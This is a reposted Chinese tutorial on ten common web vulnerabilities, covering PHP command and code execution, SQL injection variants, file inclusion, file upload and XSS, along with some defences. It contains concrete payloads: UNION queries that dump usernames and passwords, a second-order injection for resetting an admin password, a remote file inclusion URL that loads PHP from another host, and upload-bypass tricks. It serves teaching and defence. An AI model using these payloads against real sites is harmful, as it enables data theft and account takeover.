小工具知识网

当前位置: 首页 > 行业知识 > Web 常见十大漏洞原理及利用方式

行业知识

Web 常见十大漏洞原理及利用方式

2026-11-13 15:03:52 来源:互联网转载

一、PHP命令执行函数

原理:

命令执行函数解释:在PHP中有一些执行命令的函数,这些函数使你可以在PHP基本执行外部执行命令,并获取其输出的结果

漏洞产生原因:

(1)没有对用户输入进行过滤或过滤不严例如,没有过滤&、&&、|、||等连接符(2)系统漏洞造成的命令执行bash破壳漏洞(CVE-2014-6271),该漏洞可以构造环境变量的值来执行具有攻击力的脚本代码,会影响到bash交互的多种应用,如http、ssh和dhcp等(3)调用的第三方组件存在代码执行漏洞例如:php(system()、shell_exec()、exec()、eval())JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)ThinkPHP命令执行

php代码相关函数

eval()assert()preg_replacecall_user_func()call_user_func_array()create_functionarray_map()系统命令执行相关system()passthru()exec()pcntl_exec()shell_exec()popen()proc_open()`(反单引号)ob_start()特殊函数phpinfo()#这个文件里面包含了PHP的编译选项,启动的扩展、版本、服务器配置信息、环境变量、操作系统信息、path变量等非常重要的敏感配置信息symlink():#一般是在linux服务器上使用的,为一个目标建立一个连接,在读取这个链接所连接的文件的内容,并返回内容getenv#获取一个环境变量的值putenv($a)#添加$a到服务器环境变量,但环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态

1.1 PHP哪些是执行命令函数

exec(); exec();函数执行一个外部命令,并返回最后一行输出实例:shell_exec():shell_exec();函数执行一个shell命令,并返回输出作为字符串,和exec()不同的是shell_exec()返回的是完整的内容,并不是最后一行实例:system();system()函数执行一个外部命令,并输出结果与exec();不同之处在于system();直接输出结果到输出流,而不是将其返回。实例:passthru();passthru()函数执行一个外部命令,并将输出直接发送到标准输出。它与system()类似,但是不会对输出进行任何处理,直接将其发送到输出流。实例:``反引号 直接输出执行结果实例:Popen 返回一个执行结果实例:cmd=ls -a 返回值为2说明这个命令已经被执行了

防御函数:

当用户提供的数据传入函数,使用escapeshellarg() 或escapeshellcmd() 来确保用户欺骗系统从而执行任意命令。

escapeshellarg ( string $arg )可以用到php 的安全中,会过滤掉arg 中存在的一些特殊字符。在输入的参数中如果包含中文传递给escapeshellarg,会被过滤掉。escapeshellcmd ( string $command )escapeshellcmd()函数会转义命令中的所有shell 元字符来完成工作。这些元字符包括:# & ; ` ,| * ? ~  ^ ( ) [ ] { } $ \。实例:

二、PHP代码执行函数

代码执行函数:在php中有一些函数将输入的字符串参数当作PHP程序代码来执行

2.1 常见的代码执行函数

eval,assert,preg_replace

2.1.1 eval代码执行注入
当在网页输入xxx/234.php?gansir=phpinfo*(); phpinfo()代码将被直接执行并返回值
2.2.2 assert代码执行注入
原理和上面的eval一样
2.2.3 preg_replace 正则代码执行注入
当pattern 中存在/e 模式修饰符,即允许执行代码pattern 在一个参数replacement 第二个参数preg_replace()第三个参数注射

三、sql注入

原理:sql注入:

通过在应用程序中注入恶意的SQL代码,从而在后台数据库执行非授权的操作。SQL注入攻击通常利用应用程序对用户输入数据的不正确处理,使得攻击者能够执行未经授权的数据库查询、插入、更新或删除操作,甚至获取敏感数据。

判断笔记: ?id=1’ " ) ))

判断闭合可以加?id=1\ 查看闭合条件

数字类型:’ "都会报错

字符类型:’ "有一个报错

3.1 联合注入

前提要求:数据会进行回显,页面有显位符,在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位

数据库默认数据库保存了数据库中的数据库库名,表名,字段并解释information_schema 是mysql数据库默认的数据库实例初始化完成就存在SCHEMATA表:存储数据名称的,关键字段是SCHEMA_NAMETABLES表:存储表名的TABLE_SCHEMA表示表所属的数据库名称TABLE_NAME表示表的名称。COLUMNS表:存储的字段名。COLUMN_NAME表示字段名。group_concat(table_name):打印出所有的表名称  实例:select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' 打印出information_schema库下tables表中所有的表名称筛选条件为security库实例:union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+ 查看security库中users表中的所有字段实例:union select 1,2,group_concat(id,username,password) from security.users --+   查看users表中的username ,id , password字段数据实例(查看information库中的user表并获取字段)数据库语句:SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'information' AND TABLE_NAME = 'user';网页表现形式:http://172.16.16.23:8080/usera.php?name=-1  and 1=2 union select 1,2,3,4,COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'information'AND TABLE_NAME = 'user'; 链表查询information_schema库中的数据库名称UNION select SCHEMA_NAME,2 FROM information_schema.SCHEMATA;链表查询information_schema库中dvwa库中的表名1 UNION select TABLE_NAME,2 FROM information_schema.TABLES where TABLE_SCHEMA='dvwa';十六进制格式:1 union select TABLE_NAME COLLATE utf8_general_ci,2 FROM information_schema.TABLES where TABLE_SCHEMA=0x64767761 注意0x是机器识别码链表查询information_schema库中dvwa库users的字段1 union select COLUMN_NAME COLLATE utf8_general_ci,2 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='dvwa' AND TABLE_NAME='users';十六进制格式:1 union select COLUMN_NAME COLLATE utf8_general_ci,2 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x64767761 AND TABLE_NAME=0x7573657273链表查询dvwa库中users表中的user和password字段1 union select user,password from dvwa.users
3.2 布尔盲注

布尔为计算机中的一种数据类型,分为true、False两种类型,盲注则是表示注入过程中数据不会回显,只能根据页面返回两种内容的的不同来判断注入语句判断的内容是否正确

在布尔盲注中通常需要使用连接符号and、or等字符来连接两个字符串

(1)首先猜解之前应当判断内容的长度(猜错无返回,猜对有返回)

3.3 时间盲注

时间类型的盲注本质是利用插入的SQL语句执行造成时间延迟;在猜解正确或者失败时执行造成时间延迟的语句,辅助判断是否内容猜解正确

常用sql盲注时造成时延的方法sleep()benchmark()笛卡尔积get_lock()函数
3.4 堆叠注入

堆叠注入的使用条件十分有限,其可能受到 API 或者数据库引擎,又或者权限的限制只有 当调用数据库函数支持执行多条 sql 语句时才能够使用,利用 mysqli_multi_query()函数就支持多条 sql 语句同时执行,但实际情况中,如 PHP 为了防止 sql 注入机制,往往使用调用数据库的函数是 mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所 以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

在SQL数据库串,每条SQL语名是以;分开的,堆叠注入就是一次性注入入多条SQL语句;

与union联合查询注入的区别:union联合查询注入执行的语句类型是有限的,可能用来执行查询语句。堆叠注入可以执行是任意的语句(增删改查)

3.5 报错注入

SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用,目前对于各种不同类型数据库,不同版本数据库报错注入时可能并不能通用,常用可以通用的报错注入的方式有两种,xpath注入和主键重复导致的报错

常用sql报错注入的方法xpath报错注入extractvalue(文档,路径)updatexml()除了语法与extractvalue()略有不同外,使用方法基本相同主键重复报错注入
3.6 http-header注入

验证客户端头信息,或者获取客户端的一些信息,会对客户端的http-header信息进行获取并使用sql语句进行处理,头注入就是将请求头中的数据放入数据库当做命令执行。

3.7 宽字节注入

如果程序设计数据库编码的时候设置了非英文编码,php发送请求到mysql时经过一次gbk编码,因为gbk是双字节编码,当设置gbk编码后,遇到了连续两个字节都符合gbk取值范围,会自动解析成一个汉字,输入%df%27,本来\会转义%27(’),但\(%5c)的编码数为92,%df的编码数为223,符合取值范围,于是%df%5c会解析成为一个汉字“運”,单引号就逃逸了出来,从而绕过转义造成注入。

3.8 二次注入

第一次:在第一次进行数据库插入数据的时候,仅使用addslashes或者get_magic_quotes_gpc对其中的特殊字符进行转义,在写入数据库的时候还保留了原来的数据,但是数据本身还是脏数据;

第二次:脏数据存入到数据库中之后,开发者就认为数成是可信的。在下一次进行需要查询的时候,直接从数据库中取出了脏数据,没有进行进一步的过滤,这样就造成了SQL二次注入;。

防:直接从数据库中取出脏数据进行过滤攻击步骤:1.找到系统里面存在admin用户2.登陆页面和注册的页面我们发现都进行特殊字符处理;-按照以前的注入方法无法完成;3.特点:我们注册它的特殊字符串能够直接写到数据库当中;我们这里能不能将特殊字符读出来?二次注入实现方法1.找到系统里面存在admin用户,我们的目标是修改admin用户的密码,这个时候我们就可以实现后台登陆;2.我们要创建一个用户:admin’# ,密码任意 :admin' #3.进入登陆界面:注册的 admin’# ,密码任意 ,  "SELECT * FROM users WHERE username='admin' #' and password='$password'";4.登陆成功之后的页面进行拼接:UPDATE users SET PASSWORD='$pass' where username='admin’# ' and password='$curr_pass',实现了对admin用户进行了修改密码;
3.9 DNSLOG注入

HTTP注入(Cookie注入,Referer注入,User-Agent注入,X-Forwarded-For (XFF) 注入)

Cookie注入:攻击者尝试在Cookie头部字段中插入恶意内容,以影响服务器的会话管理或认证机制。

Referer注入:Referer头部字段通常用于表示请求的来源页面。攻击者可能尝试篡改此字段以进行跨站请求伪造(CSRF)攻击或混淆服务器的日志记录。

User-Agent注入:User-Agent头部字段用于标识发出请求的浏览器或其他客户端软件。攻击者可能尝试修改此字段以绕过某些安全检测或伪装请求的来源。

X-Forwarded-For (XFF) 注入:X-Forwarded-For头部字段用于表示HTTP请求的来源IP地址。在代理或负载均衡器场景中常见。攻击者可能尝试伪造此字段以隐藏其真实IP地址或进行其他类型的攻击。

四、文件包含漏洞

什么是文件包含:

文件包含一个文件调用另外一个文件,被包含的文件无论什么格式都可以被执行。

4.1 文件包含分为本地包含和远程包含

本地包含::包含文件调用本地文件

远程包含:包含文件调用远程地址文件

注意:远程包含需要的必要条件1、网络可以互相通信 2、被攻击端需要打开PHP的allow_url_fopne=On,allow_url_inclide=On

4.2 文件包含的PHP函数
include,include_once,require,require_onceinclude():当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只出一个警告,继续向下执行。include_once():功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次。require():require()与include()的区别在于require()执行如果发生错误,函数输出错误信息,并终止脚本的运行。使用require()函数包含文件时,只要程序一执行,立即调用文件,而includer()只有程序执行到该函数时才调用,require_once():它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次,
4.3 文件包含调用实例
hao.php文件中有文件包含函数例如:include 文件包含函数本地文件包含调用实例命令:http://172.16.16.23:8080/hao.php?file=test2.php     test2.php是本地存在的一个文件远程文件包含实例调用:命令:http://172.16.16.23:8080/hao.php?file=http://172.16.16.102:8080/test.php   test.php是远程地址中的文件 远程调用需要开始调用端开启php的allow_url_fopne=On,allow_url_inclide=On

五、文件上传漏洞

文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

产生文件上传漏洞的原因:

(1)对于上传文件的后缀名(扩展名)没有做较为严格的限制

(2)对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查

(3)权限上没有对于上传的文件目录设置不可执行权限,(尤其是对于shebang类型的文件)

(4)对于web server对于上传文件或者指定目录的行为没有做限制

防御方法:
  1. 文件类型检查:在上传文件时,验证文件的类型和扩展名,只允许上传安全的文件类型,如图片、文档等。可以通过检查文件的MIME类型或文件扩展名来进行验证。

  2. 文件大小限制:限制上传文件的大小,避免上传过大的文件导致服务器资源耗尽。可以设置最大文件大小的限制,超过限制的文件将被拒绝上传。

  3. 文件名检查(扩展名):对上传的文件名进行检查,避免使用特殊字符或恶意代码。可以对文件名进行过滤或重命名,确保文件名安全。

  4. 文件内容检查:对上传的文件内容进行检查,确保文件不包含恶意代码或脚本。可以使用文件扫描工具对上传的文件进行检测,以识别潜在的恶意代码。

  5. 存储路径隔离(不要暴露上传的路径):将上传的文件存储在独立的目录中,避免上传文件直接存储在Web根目录下。这样可以防止恶意文件被直接执行或访问。

  6. 文件权限设置:设置上传文件的权限,确保只有必要的用户可以访问上传的文件。避免设置过于宽松的文件权限,以防止恶意用户访问或执行上传的文件。

利用方式:

1,找到文件上传的位置,通过提供的上传文件的接口(不一定);

2,尝试绕过,成功上传文件;

常见的绕过方式;

删除/禁用前端JavaScript;

抓包修改;

等价扩展名;

大小写绕过;

双写;

截断(%00);

图片马的绕过;

二次渲染;

六、xss漏洞

原理:

攻击者会向web页面(input表单、URL、留言版等位置)插入恶意JavaScript代码,导致管理员/用户访问时触发,从而达到攻击者的目的

解释:服务器对用户提交的数据过滤不严,导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行,从而实现对客户端的攻击目的

攻击类型:

(1)反射型(非持久型):

反射型XSS,又称非持久型XSS,攻击相对于受害者而言是一次性的,具体表现在受害者点击了含有的恶意JavaScript脚本的url,恶意代码并没有保存在目标网站,而Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器而使受害者的浏览器执行相应的脚本

(2)存储型(持久型):

存储型XSS是指应用程序通过Web请求获取不可信赖的数据,在未检验数据是否存在XSS代码的情况下,便将其存入数据库。当下一次从数据库中获取该数据时程序也未对其进行过滤,页面再次执行XSS代码持续攻击用户。存储型XSS漏洞大多出现在留言板、评论区,用户提交了包含XSS代码的留言到数据库,当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。

(3)DOM型(非持久型):

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式,DOM-XSS简单理解就是不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题。

XSS漏洞的危害:

1.窃取用户Cookie

2.后台增删改文章

3.XSS钓鱼攻击

4.利用XSS漏洞进行传播和修改网页代码

5.XSS蠕虫攻击

6.网站重定向

7.获取键盘记录

8.获取用户信息等

防御机制:

1、对输入和URL参数进行过滤(白名单和黑名单)

检查用户输入的数据中是否包含一些特殊字符,如、’、“等,发现存在特殊字符,将这些特殊字符过滤或者编码。

2、HTML实体编码

字符串js编码转换成实体html编码的方法(防范XSS攻击)

3、对输出内容进行编码

在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。

攻击流程及思路
1、侦查(找变量(可控))2、敌情分析(1、环境分析 2、弹窗符号是否有过滤如:

上一篇:Java在线健康测评评测系统设计与实现(Idea+Springboot+mysql)

下一篇:苹果手机微信下载教程